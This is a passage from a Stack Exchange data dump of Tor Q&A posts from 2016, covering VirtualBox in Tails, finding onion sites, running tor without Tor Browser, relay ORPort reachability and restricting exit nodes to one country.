LastEditorUserId="14367" LastEditDate="2016-11-13T00:09:50.443" LastActivityDate="2016-11-13T00:09:50.443" Title="How do I stop the Tor daemon on Mac Sierra?" Tags="|mac|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13122" PostTypeId="1" CreationDate="2016-11-12T22:41:12.087" Score="2" ViewCount="8866" Body="&lt;p&gt;I recently tried tails and I find it pretty interesting but I am having troubles creating a windows VM inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea was to install virtualbox automatically on boot using the persistance feature and save my vm disk on the persistant folder then open that machine and have my work saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I install vbox using &lt;code&gt;sudo apt-get install virtualbox-qt&lt;/code&gt; (dont know why I have to use -qt) then initiate vbox with &lt;code&gt;virtualbox&lt;/code&gt; and it starts but some warning does appear which says something like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the character device /dev/vboxdrv does not exist. Please install the virtualbox-dkms package and the appropiate headers...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I googled &quot;virtualbox linux problems&quot; because I figured this would be a general linux related issue, not something that has necessarely to do with tails and I got here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://askubuntu.com/questions/41118/virtualbox-kernel-driver-not-installed&quot;&gt;https://askubuntu.com/questions/41118/virtualbox-kernel-driver-not-installed&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried most suggested fixes which seemed to work for some people but couldn't get it to work because some files/folders didn't exist. I am pretty noob with linux so I can't figure this out alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate any helpful feedback, thanks.&lt;/p&gt;&#xA;" OwnerUserId="15035" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:03.123" LastActivityDate="2016-11-21T12:32:13.267" Title="Installing virtualbox in tails" Tags="|tails|virtual-machine|virtualisation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13123" PostTypeId="1" CreationDate="2016-11-13T00:43:50.057" Score="0" ViewCount="2368" Body="&lt;p&gt;How can I find a list of all the different TOR sites?&lt;/p&gt;&#xA;" OwnerUserId="15036" LastActivityDate="2016-11-13T15:05:34.333" Title="Where can I find a list of TOR sites to visit?" Tags="|help|onion-routing|" AnswerCount="1" CommentCount="0" ClosedDate="2016-11-16T19:32:02.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="13125" PostTypeId="2" ParentId="13122" CreationDate="2016-11-13T03:17:08.027" Score="2" Body="&lt;p&gt;I would &lt;em&gt;strongly&lt;/em&gt; recommend against this. Infact other software that requires dkms modules is &lt;a href=&quot;https://tails.boum.org/support/known_issues/#index22h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;explicitly recommended against&lt;/a&gt; by the Tails developers. It is not officially supported by them. Inserting random code into the kernel may entirely violate protections intended to be provided by Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure if it is possible to include extra kernel drivers without including them at build time, you would likely need to &lt;a href=&quot;https://tails.boum.org/contribute/build/&quot; rel=&quot;nofollow noreferrer&quot;&gt;build&lt;/a&gt; your own &lt;a href=&quot;https://tails.boum.org/contribute/customize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom Tails ISO&lt;/a&gt;. The reason being that any packages (e.g. the vbox kernel modules that are built) would not be stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;may&lt;/em&gt; be able to build the dkms package and then use &lt;code&gt;modprobe&lt;/code&gt; to load the module but expect problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If your guest operating system has pass-through access to hardware devices, it might violate anonymity. (It can read hardware IDs and send them out to the internet).&lt;/li&gt;&#xA;&lt;li&gt;Within it's own persistent vbox disk it will still be writing a lot of data about what it's doing to disk, it will be storing long term meta-data about your activities.&lt;/li&gt;&#xA;&lt;li&gt;You will have problems accessing the internet due to Tails' strict &lt;code&gt;iptables&lt;/code&gt; rule-set, it will not automagically send the guests traffic through Tor, VirtualBox would need to be configured to use one of the provided SOCKS ports.&lt;/li&gt;&#xA;&lt;li&gt;This will require root access for every boot of Tails, allowing the amnesia user the ability to escalate to root should be avoided where possible since root has the ability to permanently alter or infect the Tails USB.&lt;/li&gt;&#xA;&lt;li&gt;Everything on Tails is in RAM and virtual machines are  notoriously greedy with RAM, you will be severely restircted in the RAM available.&lt;/li&gt;&#xA;&lt;li&gt;It's Oracle software.&lt;/li&gt;&#xA;&lt;li&gt;It's Windows running on Oracle software.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will need to enable the &lt;code&gt;contrib&lt;/code&gt; debian repo for jessie, install the appropriate linux headers (possibly from &lt;code&gt;jessie-backports&lt;/code&gt;, as that's where the Tails kernel is pulled from) and then run &lt;code&gt;apt-get update&lt;/code&gt; then &lt;code&gt;apt-get install virtualbox&lt;/code&gt;. According to the &lt;a href=&quot;https://wiki.debian.org/VirtualBox#Installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debian documentation&lt;/a&gt; this show allow the proprietary software to be included which is required to build VirtualBox. These steps will need to be performed every time you boot Tails.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-13T03:17:08.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13128" PostTypeId="2" ParentId="13123" CreationDate="2016-11-13T15:05:34.333" Score="0" Body="&lt;p&gt;&lt;strong&gt;You can't.&lt;/strong&gt;&#xA;What you can do is search around and look between sites and try to find what you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A website which holds a lot of information and some websites is &lt;a href=&quot;http://deepdotweb.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;DeepDotWeb&lt;/a&gt;.&#xA;If you are looking for a search engine I can suggest &lt;a href=&quot;https://ahmia.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ahmia&lt;/a&gt; but there is no full index of all the TOR websites.&lt;/p&gt;&#xA;" OwnerUserId="13218" LastActivityDate="2016-11-13T15:05:34.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13129" PostTypeId="1" CreationDate="2016-11-13T16:58:29.110" Score="0" ViewCount="308" Body="&lt;p&gt;If running the Tor browser (formerly known as the bundle), is it possible to shut down (close) the browser app while keeping the core Tor (established circuits, proxy port...) active?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume Linux for specificity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, please outline instructions for launching the core tor (from the Linux bundle) without an instance of the bundled browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, instructions for orderly closing tor and any dependencies after use.&lt;/p&gt;&#xA;" OwnerUserId="14708" LastActivityDate="2017-07-09T20:48:09.597" Title="tor bundle : how to launch or run the core tor alone without the browser?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13130" PostTypeId="1" AcceptedAnswerId="13155" CreationDate="2016-11-13T17:29:06.950" Score="3" ViewCount="8242" Body="&lt;p&gt;I have Tor expert bundle v0.2.8.7. I'm trying to configure a relay under Windows 7. After a day of work the relay is still not reachable:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nov 13 20:08:14.000 [warn] Your server (xx.xx.xx.xx:9001) has not&#xA;  managed to confirm that its ORPort is reachable. Relays do not publish&#xA;  descriptors until their ORPort and DirPort are reachable. Please check&#xA;  your firewalls, ports, address, /etc/hosts file, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've checked Windows firewall, all connections are allowed.&#xA;Port 9001 on my router is also opened. I've checked that I'm correctly opening port on my router using utorrent. I've opened port 43634 for it, and it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that when I'm trying to check if port is opened with any online checker, checker says that utorrent port 43634 is &quot;open&quot;, and tor port 9001 is &quot;closed&quot;, even when Tor is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still Tor works as proxy, and connecting to tor network.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 12 23:07:13.000 [notice] Tor 0.2.8.7 (git-263088633a63982a) opening log file.&#xA;Nov 12 23:07:13.148 [notice] Tor v0.2.8.7 (git-263088633a63982a) running on Windows 7 with Libevent 2.0.22-stable, OpenSSL 1.0.1t and Zlib 1.2.8.&#xA;Nov 12 23:07:13.152 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 12 23:07:13.165 [notice] Read configuration file &quot;D:\PROGRAMS\tor\Tor\torrc&quot;.&#xA;Nov 12 23:07:13.174 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 12 23:07:13.174 [notice] Opening Control listener on 127.0.0.1:9051&#xA;Nov 12 23:07:13.174 [notice] Opening OR listener on 0.0.0.0:9001&#xA;Nov 12 23:07:13.000 [notice] Parsing GEOIP IPv4 file D:\PROGRAMS\tor\Data\Tor\geoip.&#xA;Nov 12 23:07:13.000 [notice] Parsing GEOIP IPv6 file D:\PROGRAMS\tor\Data\Tor\geoip6.&#xA;Nov 12 23:07:13.000 [notice] Configured to measure statistics. Look for the *-stats files that will first be written to the data directory in 24 hours from now.&#xA;Nov 12 23:07:13.000 [notice] Your Tor server's identity key fingerprint is 'ididntedittheconfig xxx'&#xA;Nov 12 23:07:13.000 [notice] Bootstrapped 0%: Starting&#xA;Nov 12 23:07:14.000 [warn] Please upgrade! This version of Tor (0.2.8.7) is not recommended, according to the directory authorities. Recommended versions are: 0.2.4.27,0.2.5.12,0.2.7.6,0.2.8.9,0.2.9.4-alpha,0.2.9.5-alpha&#xA;Nov 12 23:07:39.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Nov 12 23:08:05.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Nov 12 23:08:05.000 [notice] Guessed our IP address as xx.xx.xx.xx (source: 86.59.21.38).&#xA;Nov 12 23:08:07.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Nov 12 23:08:08.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Nov 12 23:08:08.000 [notice] Bootstrapped 100%: Done&#xA;Nov 12 23:08:08.000 [notice] Now checking whether ORPort xx.xx.xx.xx:9001 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Nov 12 23:08:50.000 [warn] Failure from drain_fd: No error&#xA;Nov 12 23:14:15.000 [notice] Your network connection speed appears to have changed. Resetting timeout to 60s after 18 timeouts and 101 buildtimes.&#xA;Nov 12 23:28:05.000 [warn] Your server (xx.xx.xx.xx:9001) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;Nov 12 23:28:46.000 [notice] No circuits are opened. Relaxed timeout for circuit 1162 (a Measuring circuit timeout 3-hop circuit in state doing handshakes with channel state open) to 60000ms. However, it appears the circuit has timed out anyway. 1 guards are live.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DataDirectory D:\PROGRAMS\tor\Data\Tor&#xA;GeoIPFile D:\PROGRAMS\tor\Data\Tor\geoip&#xA;GeoIPv6File D:\PROGRAMS\tor\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;&#xA;#-=- relay -=-#&#xA;&#xA;ORPort 9001&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@human.hu&#xA;RelayBandwidthRate 500 KBytes&#xA;RelayBandwidthBurst 1 MBytes&#xA;&#xA;#=-= other =-=#&#xA;&#xA;MaxMemInQueues 512 MB&#xA;SOCKSPort 9050&#xA;ControlPort 9051&#xA;HashedControlPassword 16:xxxx&#xA;&#xA;Log notice file D:\PROGRAMS\tor\Data\Tor\tor.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1177" LastEditorUserId="28671" LastEditDate="2021-12-12T20:36:13.430" LastActivityDate="2021-12-12T20:36:13.430" Title="How to make Tor relay's ORPort reachable?" Tags="|configuration|relays|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13133" PostTypeId="2" ParentId="13129" CreationDate="2016-11-14T02:16:21.770" Score="1" Body="&lt;p&gt;Yes, Tor Browser comes with a copy of &lt;code&gt;tor&lt;/code&gt; included. So just run, &lt;code&gt;cd tor-browser_en-US/Browser/&lt;/code&gt;, from whichever location you extracted Tor Browser to, then run &lt;code&gt;./TorBrowser/Tor/tor&lt;/code&gt; and to use the tor browser configuration files add &lt;code&gt;-f ./TorBrowser/Data/Tor/torrc --defaults-torrc ./TorBrowser/Data/Tor/torrc-defaults&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this is a bad idea in all cases, and for use as a standalone daemon there are better solutions readily available for most Linux distributions by installing Tor through the package manager.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-14T02:16:21.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13134" PostTypeId="1" CreationDate="2016-11-14T03:59:03.920" Score="2" ViewCount="3074" Body="&lt;p&gt;I recognize that the first part of this question resembles others here, but those answers DO NOT &lt;strong&gt;&lt;em&gt;appear&lt;/em&gt;&lt;/strong&gt; to work!  If you wish to combine this with &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node&quot;&gt;Can I exit from a specific country or node?&lt;/a&gt;, fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &quot;Onion Circuits&quot; to observe the results of my work; and I log in as &quot;admin&quot;, with persistence enabled [if relevant].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;torrc&lt;/code&gt; file at &lt;code&gt;/etc/tor/torrc&lt;/code&gt; is &quot;Read Only&quot;; so editing it with &quot;gedit&quot; or &quot;LibreOffice Writer&quot; does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used the following commands to append the code that they generate to the end of my &lt;code&gt;torrc&lt;/code&gt; file [which does appear there].&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo ExcludeSingleHopRelays 1 | sudo tee -a /etc/tor/torrc&#xA;echo AllowSingleHopCircuits 0 | sudo tee -a /etc/tor/torrc&#xA;echo ExitNodes &quot;{us}&quot; | sudo tee -a /etc/tor/torrc&#xA;echo ExcludeExitNodes &quot;{AA},{AB},{AC},{AD},{AE},{AF},{AG},{AH},{AI},{AJ},{AK},{AL},{AM},{AN},{AO},{AP},{AQ},{AR},{AS},{AT},{AU},{AV},{AW},{AX},{AY},{AZ},{BA},{BB},{BC},{BD},{BE},{BF},{BG},{BH},{BI},{BJ},{BK},{BL},{BM},{BN},{BO},{BP},{BQ},{BR},{BS},{BT},{BU},{BV},{BW},{BX},{BY},{BZ},{CA},{CB},{CC},{CD},{CE},{CF},{CG},{CH},{CI},{CJ},{CK},{CL},{CM},{CN},{CO},{CP},{CQ},{CR},{CS},{CT},{CU},{CV},{CW},{CX},{CY},{CZ},{DA},{DB},{DC},{DD},{DE},{DF},{DG},{DH},{DI},{DJ},{DK},{DL},{DM},{DN},{DO},{DP},{DQ},{DR},{DS},{DT},{DU},{DV},{DW},{DX},{DY},{DZ},{EA},{EB},{EC},{ED},{EE},{EF},{EG},{EH},{EI},{EJ},{EK},{EL},{EM},{EN},{EO},{EP},{EQ},{ER},{ES},{ET},{EU},{EV},{EW},{EX},{EY},{EZ},{FA},{FB},{FC},{FD},{FE},{FF},{FG},{FH},{FI},{FJ},{FK},{FL},{FM},{FN},{FO},{FP},{FQ},{FR},{FS},{FT},{FU},{FV},{FW},{FX},{FY},{FZ},{GA},{GB},{GC},{GD},{GE},{GF},{GG},{GH},{GI},{GJ},{GK},{GL},{GM},{GN},{GO},{GP},{GQ},{GR},{GS},{GT},{GU},{GV},{GW},{GX},{GY},{GZ},{HA},{HB},{HC},{HD},{HE},{HF},{HG},{HH},{HI},{HJ},{HK},{HL},{HM},{HN},{HO},{HP},{HQ},{HR},{HS},{HT},{HU},{HV},{HW},{HX},{HY},{HZ},{IA},{IB},{IC},{ID},{IE},{IF},{IG},{IH},{II},{IJ},{IK},{IL},{IM},{IN},{IO},{IP},{IQ},{IR},{IS},{IT},{IU},{IV},{IW},{IX},{IY},{IZ},{JA},{JB},{JC},{JD},{JE},{JF},{JG},{JH},{JI},{JJ},{JK},{JL},{JM},{JN},{JO},{JP},{JQ},{JR},{JS},{JT},{JU},{JV},{JW},{JX},{JY},{JZ},{KA},{KB},{KC},{KD},{KE},{KF},{KG},{KH},{KI},{KJ},{KK},{KL},{KM},{KN},{KO},{KP},{KQ},{KR},{KS},{KT},{KU},{KV},{KW},{KX},{KY},{KZ},{LA},{LB},{LC},{LD},{LE},{LF},{LG},{LH},{LI},{LJ},{LK},{LL},{LM},{LN},{LO},{LP},{LQ},{LR},{LS},{LT},{LU},{LV},{LW},{LX},{LY},{LZ},{MA},{MB},{MC},{MD},{ME},{MF},{MG},{MH},{MI},{MJ},{MK},{ML},{MM},{MN},{MO},{MP},{MQ},{MR},{MS},{MT},{MU},{MV},{MW},{MX},{MY},{MZ},{NA},{NB},{NC},{ND},{NE},{NF},{NG},{NH},{NI},{NJ},{NK},{NL},{NM},{NN},{NO},{NP},{NQ},{NR},{NS},{NT},{NU},{NV},{NW},{NX},{NY},{NZ},{OA},{OB},{OC},{OD},{OE},{OF},{OG},{OH},{OI},{OJ},{OK},{OL},{OM},{ON},{OO},{OP},{OQ},{OR},{OS},{OT},{OU},{OV},{OW},{OX},{OY},{OZ},{PA},{PB},{PC},{PD},{PE},{PF},{PG},{PH},{PI},{PJ},{PK},{PL},{PM},{PN},{PO},{PP},{PQ},{PR},{PS},{PT},{PU},{PV},{PW},{PX},{PY},{PZ},{QA},{QB},{QC},{QD},{QE},{QF},{QG},{QH},{QI},{QJ},{QK},{QL},{QM},{QN},{QO},{QP},{QQ},{QR},{QS},{QT},{QU},{QV},{QW},{QX},{QY},{QZ},{RA},{RB},{RC},{RD},{RE},{RF},{RG},{RH},{RI},{RJ},{RK},{RL},{RM},{RN},{RO},{RP},{RQ},{RR},{RS},{RT},{RU},{RV},{RW},{RX},{RY},{RZ},{SA},{SB},{SC},{SD},{SE},{SF},{SG},{SH},{SI},{SJ},{SK},{SL},{SM},{SN},{SO},{SP},{SQ},{SR},{SS},{ST},{SU},{SV},{SW},{SX},{SY},{SZ},{TA},{TB},{TC},{TD},{TE},{TF},{TG},{TH},{TI},{TJ},{TK},{TL},{TM},{TN},{TO},{TP},{TQ},{TR},{TS},{TT},{TU},{TV},{TW},{TX},{TY},{TZ},{UA},{UB},{UC},{UD},{UE},{UF},{UG},{UH},{UI},{UJ},{UK},{UL},{UM},{UN},{UO},{UP},{UQ},{UR},{UT},{UU},{UV},{UW},{UX},{UY},{UZ},{VA},{VB},{VC},{VD},{VE},{VF},{VG},{VH},{VI},{VJ},{VK},{VL},{VM},{VN},{VO},{VP},{VQ},{VR},{VS},{VT},{VU},{VV},{VW},{VX},{VY},{VZ},{WA},{WB},{WC},{WD},{WE},{WF},{WG},{WH},{WI},{WJ},{WK},{WL},{WM},{WN},{WO},{WP},{WQ},{WR},{WS},{WT},{WU},{WV},{WW},{WX},{WY},{WZ},{XA},{XB},{XC},{XD},{XE},{XF},{XG},{XH},{XI},{XJ},{XK},{XL},{XM},{XN},{XO},{XP},{XQ},{XR},{XS},{XT},{XU},{XV},{XW},{XX},{XY},{XZ},{YA},{YB},{YC},{YD},{YE},{YF},{YG},{YH},{YI},{YJ},{YK},{YL},{YM},{YN},{YO},{YP},{YQ},{YR},{YS},{YT},{YU},{YV},{YW},{YX},{YY},{YZ},{ZA},{ZB},{ZC},{ZD},{ZE},{ZF},{ZG},{ZH},{ZI},{ZJ},{ZK},{ZL},{ZM},{ZN},{ZO},{ZP},{ZQ},{ZR},{ZS},{ZT},{ZU},{ZV},{ZW},{ZX},{ZY},{ZZ},{??}&quot; | sudo tee -a /etc/tor/torrc&#xA;echo StrictNodes 1 | sudo tee -a /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you will presumably notice, I Exclude &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#Decoding_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;ALL &lt;em&gt;other&lt;/em&gt; possible two-letter codes&lt;/a&gt; {= 676 -- including ??, and leave out the one country that I wish to exit from {US}}.  {That's only about twice as many as those in actual use [= 249], if the &quot;User-assigned and Reserved&quot; [+ 81] are included too [= 330].  It's that way &lt;em&gt;because&lt;/em&gt;: it's much clearer that all are listed, and thus easier for anyone else to modify to suit their needs; it's also slightly future-proofed as codes come and go; it prevents an adversary from using those against Tor by claiming to &lt;em&gt;be&lt;/em&gt; one of those &quot;unused&quot; codes.}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I enter &lt;code&gt;systemctl restart tor&lt;/code&gt; which causes Tor to recognize the newly modified &lt;code&gt;torrc&lt;/code&gt;, and to remove the circuits generated prior to the restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thereafter, Tor will invariably build two US-exit circuits, as desired; &lt;strong&gt;BUT&lt;/strong&gt; it will &lt;strong&gt;ALSO&lt;/strong&gt; invariably build the next two exits in Europe.  Then as I watch circuit usage, Tor doesn't &lt;strong&gt;&lt;em&gt;seem&lt;/em&gt;&lt;/strong&gt; to use those European circuits unless I access hidden services.  Tor will then continue to build primarily US circuits, but seems to nearly-always keep at least a couple European ones open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it may be that Tor in fact is NOT &lt;em&gt;using&lt;/em&gt; those circuits for the rest of my traffic.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I first read what may be the relevant portion of the [manual, included below], {And I had read and noted [Roger Dingledine's comment]: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2  &quot;(Re Sam's comment above, StrictNodes no longer applies to the ExitNodes config option. It only applies to excluding nodes.)&quot; – Roger Dingledine Feb 8 '15 at 10:22} &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I presumed that &lt;code&gt;StrictNodes 1&lt;/code&gt; would apply to &lt;code&gt;ExcludeExitNodes&lt;/code&gt; as well as to &lt;code&gt;ExcludeNodes&lt;/code&gt;.  &lt;strong&gt;However, it now seems to me that Tor is behaving as if&lt;/strong&gt; &lt;code&gt;StrictNodes 1&lt;/code&gt; &lt;strong&gt;DOES NOT APPLY to&lt;/strong&gt; &lt;code&gt;ExcludeExitNodes&lt;/code&gt;&lt;em&gt;&lt;strong&gt;!&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;If that is currently the case, PLEASE switch it back!&lt;/em&gt;&lt;/strong&gt;  Users will retain much more anonymity, if they &lt;em&gt;&lt;strong&gt;have to&lt;/strong&gt;&lt;/em&gt; exit from a specific country, if Tor allows their circuits to merely exit in that specific country {by using &lt;code&gt;ExcludeExitNodes&lt;/code&gt;} instead of forcing users who need to exit in a specific country to exclude ALL nodes outside that country {by using &lt;code&gt;ExcludeNodes&lt;/code&gt;}.  Or else choose to be tied to a specific exit by using &lt;code&gt;.exit&lt;/code&gt;, which might limit anonymity more, and would also break https {I was told that by sigaint support, and that's a no-go for me}.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;StrictNodes 0|1&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If StrictNodes is set to 1, Tor will treat the ExcludeNodes option as a requirement to follow for all the circuits you generate, even if doing so will break functionality for you. If StrictNodes is set to 0, Tor will still try to avoid nodes in the ExcludeNodes list, but it will err on the side of avoiding unexpected errors. Specifically, StrictNodes 0 tells Tor that it is okay to use an excluded node when it is &lt;strong&gt;necessary&lt;/strong&gt; to perform relay reachability self-tests, connect to a hidden service, provide a hidden service to a client, fulfill a .exit request, upload directory information, or download directory information. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And when I reread again:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExcludeExitNodes node,node,…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, country codes, and address patterns of nodes to never use when picking an exit node---that is, a node that delivers traffic for you outside the Tor network. Note that any node listed in ExcludeNodes is automatically considered to be part of this list too. See the ExcludeNodes option for more information on how to specify nodes. See also the caveats on the &quot;ExitNodes&quot; option below.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExitNodes node,node,…&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of identity fingerprints, country codes, and address patterns of nodes to use as exit node---that is, a node that delivers traffic for you outside the Tor network. See the ExcludeNodes option for more information on how to specify nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note that if you list too few nodes here, or if you exclude too many exit nodes with ExcludeExitNodes, you can degrade functionality. For example, if none of the exits you list allows traffic on port 80 or 443, you won’t be able to browse the web.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note also that not every circuit is used to deliver traffic outside of the Tor network. It is normal to see non-exit circuits (such as those used to connect to hidden services, those that do directory fetches, those used for relay reachability self-tests, and so on) that end at a non-exit node. To keep a node from being used entirely, see ExcludeNodes and StrictNodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The ExcludeNodes option overrides this option: any node listed in both ExitNodes and ExcludeNodes is treated as excluded.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The .exit address notation, if enabled via AllowDotExit, overrides this option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It still seems to me that the behavior that I am seeing by Tor is NOT that which is described in the manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if Tor actually ONLY uses the countries listed in &quot;Onion Circuits&quot; {which should have been excluded by &lt;code&gt;ExcludeExitNodes&lt;/code&gt;} to build &lt;em&gt;otherwise&lt;/em&gt; &quot;NECESSARY&quot; circuits, I would prefer hearing that from someone who &lt;em&gt;knows&lt;/em&gt; that to be the case.  And it would maybe be less painful to other noobs if the manual was updated accordingly so as to be very specific regarding &lt;code&gt;ExcludeExitNodes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe I've found a bug that should be reported??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.  There were six links above, but Stack Exchange does not allow noobs to write competently here.  They state: &quot;You need at least 10 reputation to post more than 2 links.&quot;  I removed the last four.&lt;/p&gt;&#xA;" OwnerUserId="14991" LastEditorUserId="14991" LastEditDate="2016-11-14T04:06:20.937" LastActivityDate="2016-11-22T23:58:08.380" Title="How do I restrict exit to one country while running under Tails [2.6]?" Tags="|configuration|tails|exit-relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13135" PostTypeId="2" ParentId="13134" CreationDate="2016-11-14T08:05:56.907" Score="1" Body="&lt;p&gt;Heh, I see where you're going wrong.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;ExcludeSingleHopRelay 1&lt;/code&gt; and &lt;code&gt;AllowSingleHopCircuits 0&lt;/code&gt; are default and explicitly specifying them is redundant, I assume you've copied and pasted those options from someone who also doesn't know what they're doing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your white and blacklist approach is weird (and misconveived, a blacklist is redundant with a whitelist). To dispell your notion that &lt;em&gt;&quot;it prevents an adversary from using those against Tor by claiming to be one of those &quot;unused&quot; codes&quot;&lt;/em&gt;, I'd point out that GeoIP is normally known by what is reported in &lt;code&gt;whois&lt;/code&gt; records. &lt;code&gt;whois&lt;/code&gt; is a plaintext protocol, there is no cryptographic validation that the record you receive is the same as the record that was sent and there is also little validation that what is contained in the record that was sent is accurate. It would be trivial for any adversary to fool this system through any number of means, IP addresses are not at all related to geographic location, this isn't how the internet works.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You state &lt;em&gt;&quot;Tor doesn't seem to use those European circuits unless I access hidden services.&quot;&lt;/em&gt; This is because onion service circuits, any many other circuits do not &quot;exit&quot; to the Tor network, therefor &lt;code&gt;ExitNodes&lt;/code&gt; and &lt;code&gt;ExcludeExitNodes&lt;/code&gt; do not apply, since they are not communicating application traffic out of the Tor network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was able on a fresh copy of Tails 2.6 to, as root, edit the &lt;code&gt;torrc&lt;/code&gt; and append &lt;code&gt;ExitNodes {us}&lt;/code&gt; and &lt;code&gt;StrictNodes 1&lt;/code&gt; then use the &lt;code&gt;service tor reload&lt;/code&gt; command and upon the generation of a series of circuits confirm that the exit chosen was always associated with the US in Tails' local GeoIP database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working as intended.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-11-14T10:09:32.847" 